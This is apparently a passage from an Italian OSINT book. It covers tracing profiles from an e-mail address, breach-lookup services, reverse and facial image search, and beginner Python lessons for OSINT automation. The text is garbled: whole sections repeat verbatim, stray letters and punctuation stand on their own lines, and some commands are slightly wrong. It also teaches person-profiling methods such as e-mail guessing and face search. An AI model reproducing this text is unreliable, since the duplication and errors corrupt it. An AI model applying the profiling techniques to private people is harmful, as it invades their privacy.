Nei prossimi capitoli, esploreremo metodi più dettagliati e avanzati per trovare e analizzare gli indirizzi e-mail e come questi si collegano al vasto mondo dei profili associati. Ogni pezzo di informazione può essere un tassello prezioso nel puzzle dell'intelligence online. È ora di mettere in pratica quanto appreso e svelare ulteriori segreti tramite l'OSINT e l'indirizzo e-mail.

INDIVIDUARE I PROFILI ASSOCIATI A UN E-MAIL

In ambito OSINT, una delle sfide più affascinanti è collegare un indirizzo e-mail ai vari profili social e online che potrebbero esservi associati. Questa operazione può rivelarsi un vero e proprio tesoro di informazioni per analisti e ricercatori. Le tecniche che ti mostrerò in questa sezione ti aiuteranno a scovare le tracce digitali lasciate dai titolari delle e-mail nell'immensità del web.

Prima di addentrarci, voglio ricordarti l'importanza del rispetto delle normative sulla privacy e l'etica professionale. L'utilizzo di questi strumenti deve essere sempre inquadrato in un ambito legittimo e, per quanto possibile, con il consenso dell'interessato. Non solo è una questione di rispetto, ma anche una garanzia di protezione per noi stessi come operatori dell'OSINT.

Partiamo con una delle prime mosse: la ricerca inversa dell'e-mail. Si tratta di inserire l'indirizzo e-mail in motori di ricerca e tool specializzati per scoprire a quali siti o servizi è registrato. Alcuni strumenti come, per esempio, [osint.Industries](#) ed [epieos tools](#), offrono la possibilità di effettuare queste ricerche, diventando così dei veri e propri alleati nella caccia alle informazioni.

Una volta individuati i siti di interesse, è possibile approfondire la ricerca sulle singole piattaforme. Molti social network hanno motori di ricerca interni che permettono di trovare un utente partendo dal suo indirizzo e-mail. Questo è il caso, per esempio, di Facebook, LinkedIn e Twitter, che forniscono (in certe circostanze e con certe limitazioni) questa opportunità.

Approfittatene per vedere se i risultati possono essere correlati ad altre identità online. Spesso, gli utenti utilizzano lo stesso indirizzo e-mail per più servizi, creando così un pattern che può essere sfruttato a vantaggio dell'investigazione.

Per non tralasciare nessuna possibilità, è fondamentale prendere in considerazione i vari database di violazione dei dati. Questi aggregatori di informazioni, spesso frutto di breach e fughe di dati, possono contenere elenchi di e-mail e le relative password. Tool come [Have I Been Pwned?](#) sono un ottimo punto di partenza per queste ricerche.

Fai attenzione, però: accedere a database illegali di dati violati è una pratica contraria alle buone norme e può esporvi a rischi legali. È essenziale quindi affidarsi a risorse legittime e pubblicamente accessibili.

Considera l'uso di plugin e addon specifici per i browser. Per esempio, ci sono estensioni che con un semplice click, possono fare la scansione di un profilo aperto in un social network e indicarti se l'e-mail associata è quella che state investigando. L'automazione di questi processi può risparmiarti tempo prezioso nell'analisi.

Un altro metodo utile può essere quello di utilizzare tecniche di guesser e ricostruzione. Se, per esempio, conoscete il nome e il cognome di una persona, potreste provare a ricostruire possibili combinazioni di indirizzo e-mail utilizzate. Queste possono poi essere inserite in tool di verifica per vedere se sono attive su varie piattaforme.

Non trascurate anche l'evidenza diretta che può essere offerta dalle firme e-mail in messaggi pubblici come newsletter o forum. A volte gli indirizzi e-mail sono nascosti in plain sight, basta sapere dove e come cercarli. Potreste meravigliarvi di quante informazioni si possano ricavare da una semplice firma nella parte finale di un e-mail.

Concludendo, ricordiamo che l'arte dell'OSINT prevede una continua sperimentazione: i tool e le piattaforme online sono in costante evoluzione, perciò quello che funziona oggi potrebbe non essere efficace domani. Sta a voi rimanere aggiornati e trovare sempre nuove vie per la vostra ricerca.

Vi lascio con un pensiero: l'OSINT non è solo uno strumento di raccolta dati, ma un approccio complesso che richiede ingegno, critica e una buona dose di creatività. L'analisi dell'informazione è tanto importante quanto la sua raccolta, e solo un buon analista sa come trasformare un indirizzo e-mail in una miniera di informazioni rilevanti.

Nelle sezioni successive parleremo di altri strumenti e metodi per la ricerca e l'analisi degli indirizzi e-mail. Resta con noi, perché il viaggio nel mondo dell'OSINT è ancora lungo e pieno di sorprese.

e

,

)

,

e

i

Un altro metodo utile può essere quello di utilizzare tecniche di guesser e ricostruzione. Se, per esempio, conoscete il nome e il cognome di una persona, potreste provare a ricostruire possibili combinazioni di indirizzo e-mail utilizzate. Queste possono poi essere inserite in tool di verifica per vedere se sono attive su varie piattaforme.

Non trascurate anche l'evidenza diretta che può essere offerta dalle firme e-mail in messaggi pubblici come newsletter o forum. A volte gli indirizzi e-mail sono nascosti in plain sight, basta sapere dove e come cercarli. Potreste meravigliarvi di quante informazioni si possano ricavare da una semplice firma nella parte finale di un e-mail.

Concludendo, ricordiamo che l'arte dell'OSINT prevede una continua sperimentazione: i tool e le piattaforme online sono in costante evoluzione, perciò quello che funziona oggi potrebbe non essere efficace domani. Sta a voi rimanere aggiornati e trovare sempre nuove vie per la vostra ricerca.

Vi lascio con un pensiero: l'OSINT non è solo uno strumento di raccolta dati, ma un approccio complesso che richiede ingegno, critica e una buona dose di creatività. L'analisi dell'informazione è tanto importante quanto la sua raccolta, e solo un buon analista sa come trasformare un indirizzo e-mail in una miniera di informazioni rilevanti.

Nelle sezioni successive parleremo di altri strumenti e metodi per la ricerca e l'analisi degli indirizzi e-mail. Resta con noi, perché il viaggio nel mondo dell'OSINT è ancora lungo e pieno di sorprese.

SERVIZI DI RICERCA E VIOLAZIONE DEI DATI

Nella ricerca di informazioni tramite OSINT, un tema particolarmente delicato è quello delle violazioni dei dati. Negli anni, numerosi sono stati i casi in cui grandi quantità di dati sono state esposte sul web, fornendo un terreno fertile per la raccolta di informazioni potenzialmente sensibili. Questi dati possono includere indirizzi e-mail compromessi, credenziali di accesso e altre informazioni personali.

Uno dei primi passaggi nella ricerca e-mail e profili associati con OSINT è verificare se l'indirizzo e-mail in questione è apparso in qualche violazione dati conosciuta. Esistono servizi e strumenti specializzati nel monitoraggio e nel reporting delle violazioni e-mail, come Have I Been Pwned, IntelX o LeakCheck, che consentono agli utenti di verificare se le proprie credenziali sono state compromesse.

Quando si tratta di violazioni di dati, è essenziale comprendere la differenza tra una ricerca etica e una che non lo è. Si può infatti accedere a questi dati per verificare la propria sicurezza personale o quella di un cliente in un contesto legale e professionale, ma è illegale sfruttare queste informazioni per intenti malevoli o per danneggiare terzi.

Un utile servizio di ricerca è quello offerto da siti che aggregano informazioni da varie violazioni e rendono possibile cercare attraverso queste collezioni di dati. Per esempio, su alcuni siti è possibile inserire l'indirizzo e-mail per vedere in quali leak l'indirizzo compare, fornendo spesso dettagli su come le informazioni siano state compromesse.

Alcuni di questi servizi offrono un'interfaccia grafica e sono facilmente accessibili dal browser, mentre altri sono disponibili come API e possono essere integrati in strumenti automatizzati di raccolta dati. Quest'ultimi sono particolarmente utili quando si gestiscono elevate quantità di dati o si effettuano ricerche su vasta scala.

È importante sottolineare che, quando si accede a tali database di violazioni, si possono incontrare dati sensibili e personali. Per questo motivo, è fondamentale seguire le leggi sulla privacy e assicurarsi di utilizzare le informazioni solo per scopi legittimi e autorizzati.

I database di violazione dei dati non sono gli unici strumenti a disposizione per la ricerca di informazioni tramite indirizzi e-mail. Esistono anche piattaforme che analizzano i dati raccolti dalle botnet o altre fonti sospette. Questi dati, tuttavia, sono spesso meno affidabili e possono richiedere ulteriori verifiche.

Inoltre, la tecnica di "credential stuffing", ovvero il tentativo di accedere a vari servizi online usando combinazioni di username e password rubate, è una pratica illegale. Tuttavia, la

conoscenza di questa tecnica è importante per comprendere come i malintenzionati possano sfruttare le informazioni ottenute dalle violazioni dei dati.

Per chi si occupa di sicurezza informatica, comprendere il funzionamento dei database di violazione è fondamentale per poter poi offrire soluzioni per la protezione degli account online. Per esempio, l'implementazione di sistemi di autenticazione a più fattori può ridurre significativamente il rischio che account compromessi vengano effettivamente violati.

Un altro aspetto da considerare è l'uso di strumenti di monitoraggio che inviano notifiche in tempo reale quando l'indirizzo e-mail monitorato viene trovato in una nuova violazione. Questo permette di prendere misure preventive in tempi brevi, come il cambiamento delle credenziali e la verifica delle impostazioni di sicurezza associati all'indirizzo e-mail.

Infine, è vitale mantenere una postura proattiva nel mondo digitale, soprattutto per quanto riguarda la gestione delle proprie informazioni. Utilizzare password complesse e uniche per ogni servizio, cambiare regolarmente le credenziali e fare attenzione a dove e come si inseriscono i propri dati sono pratiche fondamentali per la propria sicurezza online.

La formazione e l'informazione continuativa sull'evoluzione delle tecniche di raccolta dati e sulle nuove violazioni sono quindi componenti chiave per chiunque voglia dedicarsi all'OSINT e all'ingegneria sociale in maniera responsabile ed efficace.

Ricorda sempre che l'etica deve guidare ogni passo nel campo dell'OSINT. Rispettare la privacy altrui e operare sempre entro i confini della legalità è fondamentale per chiunque si addentri in questo territorio che, seppur ricco di informazioni preziose, può essere un terreno scivoloso se affrontato senza la dovuta attenzione.

i

o

a

conoscenza di questa tecnica è importante per comprendere come i malintenzionati possano sfruttare le informazioni ottenute dalle violazioni dei dati.

Per chi si occupa di sicurezza informatica, comprendere il funzionamento dei database di violazione è fondamentale per poter poi offrire soluzioni per la protezione degli account online. Per esempio, l'implementazione di sistemi di autenticazione a più fattori può ridurre significativamente il rischio che account compromessi vengano effettivamente violati.

Un altro aspetto da considerare è l'uso di strumenti di monitoraggio che inviano notifiche in tempo reale quando l'indirizzo e-mail monitorato viene trovato in una nuova violazione. Questo permette di prendere misure preventive in tempi brevi, come il cambiamento delle credenziali o la verifica delle impostazioni di sicurezza associati all'indirizzo e-mail.

Infine, è vitale mantenere una postura proattiva nel mondo digitale, soprattutto per quanto riguarda la gestione delle proprie informazioni. Utilizzare password complesse e uniche per ogni servizio, cambiare regolarmente le credenziali e fare attenzione a dove e come si inseriscono i propri dati sono pratiche fondamentali per la propria sicurezza online.

La formazione e l'informazione continuativa sull'evoluzione delle tecniche di raccolta dati e sulle nuove violazioni sono quindi componenti chiave per chiunque voglia dedicarsi all'OSINT e all'ingegneria sociale in maniera responsabile ed efficace.

Ricorda sempre che l'etica deve guidare ogni passo nel campo dell'OSINT. Rispettare la privacy altrui e operare sempre entro i confini della legalità è fondamentale per chiunque si addentri in questo territorio che, seppur ricco di informazioni preziose, può essere un terreno scivoloso se affrontato senza la dovuta attenzione.

Capitolo 14: Ricerca Inversa e Analisi di Immagini

Dopo aver esplorato il mondo della ricerca e-mail e dei profili associati, è il momento di tuffarci nell'universo affascinante e complesso della ricerca inversa e dell'analisi delle immagini. Qui imparerai come le immagini possono rivelare molto più di quel che si vede a occhio nudo. Con le giuste tecniche e strumenti, sarai in grado di scovare dettagli nascosti, meta-dati utili e persino tracciare la provenienza di una foto. Questo capitolo è fondamentale per chiunque desideri arricchire le proprie competenze OSINT, poiché le immagini costituiscono una risorsa informativa preziosa e abbondante nel web. Passiamo ora a svelare le metodologie per analizzare le immagini a fondo, estrarre dati significativi e utilizzarli a proprio vantaggio in indagini di natura digitale. Le immagini, infatti, possono essere le chiavi per sbloccare storie nascoste e collegamenti inattesi, un vero e proprio filone d'oro per gli appassionati di OSINT.

Capitolo 14: Ricerca Inversa e Analisi di Immagini

Dopo aver esplorato il mondo della ricerca e-mail e dei profili associati, è il momento di tuffarci nell'universo affascinante e complesso della ricerca inversa e dell'analisi delle immagini. Qui imparerai come le immagini possono rivelare molto più di quel che si vede a occhio nudo. Con le giuste tecniche e strumenti, sarai in grado di scovare dettagli nascosti, meta-dati utili e persino tracciare la provenienza di una foto. Questo capitolo è fondamentale per chiunque desideri arricchire le proprie competenze OSINT, poiché le immagini costituiscono una risorsa informativa preziosa e abbondante nel web. Passiamo ora a svelare le metodologie per analizzare le immagini a fondo, estrarre dati significativi e utilizzarli a proprio vantaggio in indagini di natura digitale. Le immagini, infatti, possono essere le chiavi per sbloccare storie nascoste e collegamenti inattesi, un vero e proprio filone d'oro per gli appassionati di OSINT.

RICERCA INVERSA PER IMMAGINI

Hai mai incrociato un'immagine durante le tue ricerche e avere il sospetto che potesse celare informazioni preziose? Ecco dove la ricerca inversa per immagini entra in gioco nella vostra avventura OSINT. Questa tecnica potente ti permette di localizzare dove e come un'immagine è stata utilizzata sul web, aprendo nuove possibilità di indagine e comprensione dei contesti.

Immagina di avere davanti un'immagine di un paesaggio urbano che volete identificare. Tramite la ricerca inversa, inserendo l'immagine in uno dei tanti servizi online, potete ricavare liste di pagine web dove la stessa foto è stata postata. Questo può aiutarti a capire meglio il contesto dell'immagine, come per esempio la località che rappresenta o altri dati interessanti.

Tra i più noti strumenti per questa operazione ci sono Google Images e TinEye. Questi servizi sono intuitivi: caricate l'immagine di vostro interesse sul motore di ricerca e lui vi restituirà i risultati correlati. A volte, però, si potrebbe necessitare di strumenti più sofisticati.

Uno strumento meno conosciuto, ma particolarmente utile nel campo dell'OSINT è Yandex, il motore di ricerca più utilizzato in Russia. La sua funzionalità di ricerca per immagine è sorprendentemente precisa e può offrire risultati che altri motori non riescono a trovare soprattutto per quanto riguarda le facce e i paesaggi.

Per le facciate di edifici e monumenti, uno strumento eccellente è Reverse Image Search Engine come Picsearch o Bing Visual Search. Questi motori possono riconoscere i pattern architettonici e aiutarvi a identificare il luogo fotografato.

Ma non finisce qui: ci sono servizi specializzati in particolari set di immagini. Per esempio, Baidu eccelle nel rilevamento di immagini correlate alla cultura cinese, mentre systems come PimEyes si concentrano esclusivamente sulla ricerca di volti.

Quando lavori con la ricerca inversa, è importante avere un metodo organizzato. Prima di tutto, cataloga l'immagine: chi, dove, quando e perché è stata scattata? Crea una checklist per non trascurare particolari che potrebbero risultare cruciali.

Una volta ottenuti alcuni indizi dalla ricerca inversa, è tempo di affinare l'indagine. Esplora metadati dell'immagine usando strumenti come ExifTool, che possono rivelare informazioni come la data e l'ora dello scatto o il modello della fotocamera. Questi dati, apparentemente insignificanti, possono essere delle pietre miliari nella tua indagine.

Ricorda che la ricerca inversa per immagini può portare a piste sorprendenti. A volte, scoprirete che una foto risalente ad anni fa può essere stata riutilizzata in contesti diversi, o che un'immagine che pensavi ritraesse un luogo può averne mimato un altro.

Non scartare a priori nessuna pista. Prenditi il tempo di esplorare ogni risultato fornitovi da motori di ricerca, confronta le fonti e cerca di costruire un racconto coeso. Le immagini spesso nascondono una storia più grande, e sta a te, giovane investigatore, assemblare i pezzi del puzzle. Essere scettici ma aperti a ogni possibilità è la chiave. Non tutte le immagini ti condurranno direttamente alla risposta che cerchi, ma possono offrirti un contesto prezioso o, anche meglio, la chiave per sbloccare un intero filone investigativo.

Alla fine, l'abilità nel far parlare le immagini attraverso la ricerca inversa è solo una parte dell'arsenale di uno studente di OSINT e ingegneria sociale. Si tratta di una competenza da affinare con la pratica e l'esperienza, ma che può davvero fare la differenza nel vuoto informativo che a volte si trova online.

Ricordate sempre di verificare l'autenticità delle fonti ritrovate tramite la ricerca inversa. La disinformazione è diffusa, e un'immagine fuori contesto può trarre in inganno anche il più esperto degli investigatori.

Come dicevamo, la chiave è l'approccio sistematico: affianca l'analisi delle immagini a quella della documentazione disponibile, dei post sui social media e delle testate giornalistiche. Solo allora il quadro che avete davanti inizierà a prendere forma completa, trasformando un'immagine in una prova, in un indizio o magari in un tesoro informativo.

L'arte della ricerca inversa per immagini è un tassello fondamentale nel mosaico OSINT. E man mano che scaverai più a fondo, ti renderai conto di quanto sia potente questo strumento nel leggere il mondo che ti circonda da una prospettiva del tutto nuova. Studialo, applicalo e, soprattutto, lasciati sorprendere dalle sue rivelazioni.

i

i

e

Non scartare a priori nessuna pista. Prenditi il tempo di esplorare ogni risultato fornitovi dai motori di ricerca, confronta le fonti e cerca di costruire un racconto coeso. Le immagini spesso nascondono una storia più grande, e sta a te, giovane investigatore, assemblare i pezzi del puzzle.

Essere scettici ma aperti a ogni possibilità è la chiave. Non tutte le immagini ti condurranno direttamente alla risposta che cerchi, ma possono offrirti un contesto prezioso o, anche meglio, la chiave per sbloccare un intero filone investigativo.

Alla fine, l'abilità nel far parlare le immagini attraverso la ricerca inversa è solo una parte dell'arsenale di uno studente di OSINT e ingegneria sociale. Si tratta di una competenza da affinare con la pratica e l'esperienza, ma che può davvero fare la differenza nel vuoto informativo che a volte si trova online.

Ricordate sempre di verificare l'autenticità delle fonti ritrovate tramite la ricerca inversa. La disinformazione è diffusa, e un'immagine fuori contesto può trarre in inganno anche il più esperto degli investigatori.

Come dicevamo, la chiave è l'approccio sistematico: affianca l'analisi delle immagini a quella della documentazione disponibile, dei post sui social media e delle testate giornalistiche. Solo allora il quadro che avete davanti inizierà a prendere forma completa, trasformando un'immagine in una prova, in un indizio o magari in un tesoro informativo.

L'arte della ricerca inversa per immagini è un tassello fondamentale nel mosaico OSINT. E man mano che scaverai più a fondo, ti renderai conto di quanto sia potente questo strumento nel leggere il mondo che ti circonda da una prospettiva del tutto nuova. Studialo, applicalo e, soprattutto, lasciati sorprendere dalle sue rivelazioni.

Capitolo 15: Python per OSINT

Capitolo 15: Python per OSINT

DISCLAIMER:

Questa parte del libro è un adattamento fatto da me (Mattia Vicenzi) del repository GitHub: “Python for OSINT. 21-day course for beginners” di Cyber Detective.

Ho ricevuto il permesso dall’autore a tradurre e adattare il testo. Ad ogni modo la maggior parte del “lavoro” è merito di Cyber Detective.

ADESSO, CONCENTRIAMOCI su come Python si riveli uno strumento imprescindibile per l’OSINT. Python è un linguaggio di programmazione estremamente versatile e potente, apprezzato per la sua sintassi chiara e leggibile. Anche chi è alle prime armi può ben presto imparare a utilizzarlo per scopi di ricerca e di analisi di dati.

Dunque, come può Python aiutarci nell’OSINT? La forza di Python risiede nei suoi numerosi pacchetti e moduli, progettati per semplificare la vita del programmatore. Immaginate di avere a disposizione una cassetta degli attrezzi: Python dispone di tutti gli strumenti necessari per estrarre, elaborare e analizzare dati dal web, tutto ciò solo a pochi comandi di distanza.

Uno degli aspetti più eccitanti di Python in ambito OSINT è lo scraping web. Utilizzando moduli come BeautifulSoup o Scrapy, Python può navigare pagine web, estrarre informazioni significative e organizzarle in una forma utilizzabile per l’analisi. Questo è particolarmente utile quando si cerca di raccogliere dati da siti che non dispongono di un’API o le cui informazioni non sono facilmente accessibili.

Inoltre, Python consente di automatizzare processi che altrimenti sarebbero molto dispendiosi in termini di tempo. Pensate alla raccolta di meta-dati dalle immagini o dai documenti, alla decodifica di messaggi nascosti nei metadati stessi – Python dispone di moduli come PIL o ExifRead proprio per queste applicazioni.

La ricerca inversa di immagini, di cui avete letto nel capitolo precedente, può essere ulteriormente potenziata con Python. Attraverso librerie come OpenCV, è possibile non solo automatizzare le ricerche inverse ma anche effettuare analisi più complesse, come il riconoscimento di volti o la comparazione di immagini.

Ma non finisce qui. I dati non sono sempre ordinati o disponibili in formati comodi. Talvolta è necessario “pulire” il dataset per rimuovere elementi irrilevanti o organizzarlo meglio. Python con le sue librerie Pandas e NumPy rende queste operazioni non solo possibili ma sorprendentemente semplici.

Poi, vi è la dimensione della visualizzazione dei dati: pacchetti Python per la visualizzazione di dati, come Matplotlib e Seaborn, consentono di trasformare insiemi di dati grezzi in grafici e

diagrammi chiari e dettagliati; un aiuto non indifferente quando si devono presentare i risultati delle proprie ricerche a terze parti.

Le API sono un altro potentissimo tool di raccolta dati che Python gestisce con disinvoltura: tramite il pacchetto requests e altri moduli specifici per la gestione delle API. Estraendo dati in tempo reale, si possono monitorare e analizzare tendenze, post e informazioni da piattaforme social o database online.

Tra i tesori nascosti di Python per l'OSINT ci sono anche le sue capacità di manipolazione delle stringhe e la ricerca tramite espressioni regolari (regex). Queste potenti tecniche consentono di cercare schemi complessi all'interno di testi, utilissimi per individuare, per esempio, indirizzi e-mail o numeri di telefono presenti in una pagina web o in un documento.

Infine, l'automazione di task ripetitivi è un altro dei superpoteri di Python. Scripts ben congegnati possono lavorare per voi nel bel mezzo della notte, raccogliendo dati, inviando richieste e persino interagendo con altri software o sistemi operativi, grazie a pacchetti come Selenium o PyAutoGUI.

Python, insieme all'OSINT, è una vera e propria simbiosi vincente. Con la possibilità di scrivere script che vanno dal semplice al complesso, potete costruire strumenti su misura per ogni specifico task di ricerca. Che siate studenti o professionisti, l'abilità di maneggiare Python nel contesto dell'OSINT può dare una svolta determinante alle vostre capacità investigative.

Non preoccuparti se non hai mai programmato prima: ci sono risorse apposite per iniziare, tra cui tutorial, documentazione ufficiale e community online dove potete trovare supporto e consigli.

L'apprendimento iniziale richiederà pazienza e pratica, ma i benefici che ne deriveranno saranno enormi. E ricorda, l'obiettivo non è diventare un programmatore esperto da un giorno all'altro, ma acquisire quelle competenze base che ti permetteranno di affrontare con sicurezza le sfide dell'OSINT.

Python rappresenta quindi una risorsa indispensabile per chi si avventura nell'OSINT, soprattutto per la sua facilità di apprendimento e per la grande versatilità. Che tu sia alle prese con l'analisi di rete, l'esplorazione di forum underground, o la creazione di rapporti di intelligence, un piccolo script Python potrebbe fare la differenza.

Non dimenticare che la conoscenza di Python ti apre anche le porte di altri campi correlati, come il data science o la cybersecurity, ampliando ulteriormente le possibilità di applicazione delle vostre skills OSINT. Dopotutto, in un mondo in cui i dati sono sempre più il cuore pulsante delle nostre società, saperli gestire e analizzare è di per sé un superpotere.

a
l
e

l
o
e

i

,

o
i
o

,

,

ESEMPI DI CODICE PRESENTI NEL LIBRO

Tutti gli script presenti nel libro sono stati pubblicati direttamente da Cyber Detective sulla sua repo GitHub:

<https://github.com/cipher387/python-for-OSINT-21-days>.

ESEMPI DI CODICE PRESENTI NEL LIBRO

Tutti gli script presenti nel libro sono stati pubblicati direttamente da Cyber Detective sulla sua repo GitHub:

<https://github.com/cipher387/python-for-OSINT-21-days>.

COME INSTALLARE PYTHON?

Non entrerò nel dettaglio di questo, poiché la maggioranza di voi lavora su piattaforme diverse. Mi limiterò a fornire i link alle istruzioni per le diverse piattaforme.

File di installazione:

Windows:

<https://www.python.org/downloads/windows/>

MacOS :

<https://www.python.org/downloads/macos/>

Linux:

<https://www.python.org/downloads/source/>

Istruzioni per l'installazione (per le diverse piattaforme):

<https://wiki.python.org/moin/BeginnersGuide/Download>

APPLICAZIONI PER ESEGUIRE script Python dal telefono:

Applicazione Android Termux

<https://play.google.com/store/apps/details?id=com.termux&hl=en&pli=1>

(utilizzate le istruzioni di Linux per l'installazione)

App iOS Pythonista

<https://apps.apple.com/us/app/pythonista-3/id1085978097?ls=1>

Come installare Git?

Nell'ambito di questo capitolo, utilizzerai Git per copiare esempi di codice da Github e per installare vari strumenti OSINT.

Istruzioni di installazione per Windows, Linux e MacOS:

<https://git-scm.com/book/en/v2/Getting-Started-Installing-Git>

COME INSTALLARE PYTHON?

Non entrerò nel dettaglio di questo, poiché la maggioranza di voi lavora su piattaforme diverse. Mi limiterò a fornire i link alle istruzioni per le diverse piattaforme.

File di installazione:

Windows:

<https://www.python.org/downloads/windows/>

MacOS :

<https://www.python.org/downloads/macos/>

Linux:

<https://www.python.org/downloads/source/>

Istruzioni per l'installazione (per le diverse piattaforme):

<https://wiki.python.org/moin/BeginnersGuide/Download>

APPLICAZIONI PER ESEGUIRE script Python dal telefono:

Applicazione Android Termux

<https://play.google.com/store/apps/details?id=com.termux&hl=en&pli=1>

(utilizzate le istruzioni di Linux per l'installazione)

App iOS Pythonista

<https://apps.apple.com/us/app/pythonista-3/id1085978097?ls=1>

Come installare Git?

Nell'ambito di questo capitolo, utilizzerai Git per copiare esempi di codice da Github e per installare vari strumenti OSINT.

Istruzioni di installazione per Windows, Linux e MacOS:

<https://git-scm.com/book/en/v2/Getting-Started-Installing-Git>

ESEGUIRE IL PRIMO SCRIPT

Comincia copiando sul computer il repository Github con gli script che andrai ad utilizzare.

Apri quindi il terminale e digita i seguenti comandi:

```
git clone https://github.com/cipher387/python-for-OSINT-21-days
```

Questo comando permette di clonare il repository sul PC che stiamo utilizzando.

Il secondo comando (qua a seguito) permette invece di muoverti nella cartella che hai scaricato.

```
cd python-for-OSINT-21-days
```

Se appare un messaggio che chiede il nome utente e la password, inserisci le credenziali del tuo account Github.

Un repository Github è essenzialmente un archivio di file, con codice, file di dati e documentazione. Si differenzia dalla solita directory per alcune funzionalità aggiuntive: la cronologia delle versioni, la possibilità di creare issue (note con segnalazioni di bug e domande), fork (copie finalizzate indipendentemente l'una dall'altra) e alcune altre caratteristiche.

Quindi, digita nella riga di comando:

```
python Day_1/start.py
```

Il risultato dovrebbe essere qualcosa di simile a questo: "Welcome to 21 days Python course"

Ora apri il file come testo e prova a cambiare la frase tra virgolette ed esegui di nuovo lo script.

Se non utilizzi Gitpod, ti potrai chiedere: "Qual è l'applicazione migliore per modificare i file di codice Python?"

Puoi usare qualsiasi editor di testo che ti piace. Anche Notepad o TextEdit vanno bene, ma ti consiglio di provare anche gli editor dedicati alla programmazione più diffusi: Sublime Text, Notepad++, Visual Studio Code ecc.

Questi Editor possono evidenziare automaticamente la sintassi e suggerire i nomi di funzioni/variabili (completamento automatico del codice).

Cosa puoi fare se qualcosa è andato storto?

Assicurati di aver installato Python correttamente:

```
python -version
```

Assicurati anche di aver installato Git in modo corretto:

```
git -version
```

Se la cartella "python-for-OSINT-21-days" non viene copiata, controlla di aver inserito correttamente la password.

Se viene visualizzato un messaggio di errore quando si esegue lo script, prova a cancellare la cartella e copiarla di nuovo.

Se disponi di più versioni differenti di python, assicurati di avviare lo script con python3.

Se tutto ciò non dovesse essere d'aiuto, ti consiglierei di pensare di usare Gitpod.

Basta aprirlo nel browser:

<https://gitpod.io#https://github.com/cipher387/python-for-OSINT-21-days>

Crea quindi un nuovo spazio di lavoro con le impostazioni standard. Se necessario, accendendo al proprio account Github, Gitlab o Bitbucket.

Se la cartella "python-for-OSINT-21-days" non viene copiata, controlla di aver inserito correttamente la password.

Se viene visualizzato un messaggio di errore quando si esegue lo script, prova a cancellare la cartella e copiarla di nuovo.

Se disponi di più versioni differenti di python, assicurati di avviare lo script con python3.

Se tutto ciò non dovesse essere d'aiuto, ti consiglierei di pensare di usare Gitpod.

Basta aprirlo nel browser:

<https://gitpod.io#https://github.com/cipher387/python-for-OSINT-21-days>

Crea quindi un nuovo spazio di lavoro con le impostazioni standard. Se necessario, accendendo al proprio account Github, Gitlab o Bitbucket.

SINTASSI MINIMA DI BASE

Ora ti presenterò quattro concetti di base della sintassi di Python, che si trovano anche nei linguaggi di programmazione più diffusi.

Li illustrerò nel modo più breve e semplice possibile.

Certo, se in passato hai studiato Python potresti pensare che sto tralasciando alcune cose molto importanti. Ma ancora una volta, questo libro non ha lo scopo di farti diventare un bravo sviluppatore Python, ma semplicemente di mostrarti le possibili soluzioni al problema di automatizzare una routine in OSINT.

SINTASSI MINIMA DI BASE

Ora ti presenterò quattro concetti di base della sintassi di Python, che si trovano anche nei linguaggi di programmazione più diffusi.

Li illustrerò nel modo più breve e semplice possibile.

Certo, se in passato hai studiato Python potresti pensare che sto tralasciando alcune cose molto importanti. Ma ancora una volta, questo libro non ha lo scopo di farti diventare un bravo sviluppatore Python, ma semplicemente di mostrarti le possibili soluzioni al problema di automatizzare una routine in OSINT.

VARIABILE

Secondo la definizione classica, è un'area di memoria denominata che viene utilizzata per accedere a determinati dati.

Le variabili Python possono memorizzare

valori di testo (ad esempio, il nome di una persona o il capitolo di un libro).

Questo tipo di dati viene dichiarato con `str()`;

Numeri interi. Dichiarati con la funzione `int()`;

Numeri a virgola mobile. Dichiarati con la funzione `float()`;

Vero/falso. Dichiarati con la funzione `bool()`.

Esistono molti altri tipi di dati che non esamineremo in questo capitolo.

In alcuni linguaggi è necessario dichiarare il tipo di una variabile. In Python non è necessario farlo inutilmente (lo faremo solo un paio di volte in tutto il capitolo). Ad esempio, quando si vuole aggiungere un numero a una stringa di testo o combinare in qualche modo variabili che sono definite per default come dati di tipo diverso.

Nei nomi delle variabili si possono usare lettere maiuscole, minuscole e il carattere di sottolineatura. Si possono usare anche le cifre, ma non come primo carattere.

Cerca di dare alle variabili nomi il più possibile sensati, in modo che sia più facile capire cosa faccia il codice.

Ora passiamo alla parte pratica. Esegui lo script `variable.py` dalla cartella `Day_2`:

Comandi:

```
cd Day_2
```

```
python variable.py
```

D'ora in poi, i commenti al codice saranno indicati con il segno `#`. È quindi possibile aggiungere del testo subito dopo il segno dell'hashtag che non verrà "letto" dallo script. Si tratta appunto di un commento per i lettori umani.

```
# come vediamo alla variabile "first_name" viene assegnato il parametro\testo "John"
```

```
first_name = "John"
```

```
# Poi assegniamo a last_name il valore inserito dall'utente con la funzione input(). (Il trattino dopo il punto interrogativo è un'interruzione di riga, si può rimuovere se si vuole):
```

```
last_name = input("What is your last name?\n")
```

E poi diamo in output il valore di entrambe le variabili con la funzione print():

```
print("You are" + " " + first_name + " " + last_name)
```

Da notare che per le stringhe di testo usiamo sia le virgolette singole che quelle doppie. Entrambi i tipi sono validi nel codice Python.

Più avanti in questo capitolo, imparerai a creare le tue funzioni.

E poi diamo in output il valore di entrambe le variabili con la funzione print():

```
print("You are" + " " + first_name + " " + last_name)
```

Da notare che per le stringhe di testo usiamo sia le virgolette singole che quelle doppie. Entrambi i tipi sono validi nel codice Python.

Più avanti in questo capitolo, imparerai a creare le tue funzioni.

DICHIARAZIONE CONDIZIONALE

E segui condition.py:

Qui inizierai ad usare le funzioni.

Una funzione è un oggetto che prende degli argomenti come input e restituisce un certo valore o esegue una certa azione in risposta. Input() e print() sono funzioni integrate in Python che prendono stringhe di testo come argomenti.

Si tratta di un costrutto sintattico che permette di eseguire determinate azioni se avviene una condizione.

Vediamo subito un esempio:

Per prima cosa, usiamo la funzione input() per chiedere all'utente quanti anni ha.

```
age = input("How old are you?\n")
```

Se inserisce un valore superiore a 27, rispondiamo che è molto vecchio.

```
if int(age) > 27:
```

```
    print("You are so old")
```

Se è inferiore a 27, è molto giovane.

```
elif int(age) < 27:
```

```
    print("You are so young")
```

DICHIARAZIONE CONDIZIONALE

E segui condition.py:

Qui inizierai ad usare le funzioni.

Una funzione è un oggetto che prende degli argomenti come input e restituisce un certo valore o esegue una certa azione in risposta. Input() e print() sono funzioni integrate in Python che prendono stringhe di testo come argomenti.

Si tratta di un costrutto sintattico che permette di eseguire determinate azioni se avviene una condizione.

Vediamo subito un esempio:

```
# Per prima cosa, usiamo la funzione input() per chiedere all'utente quanti anni ha.
```

```
age = input("How old are you?\n")
```

```
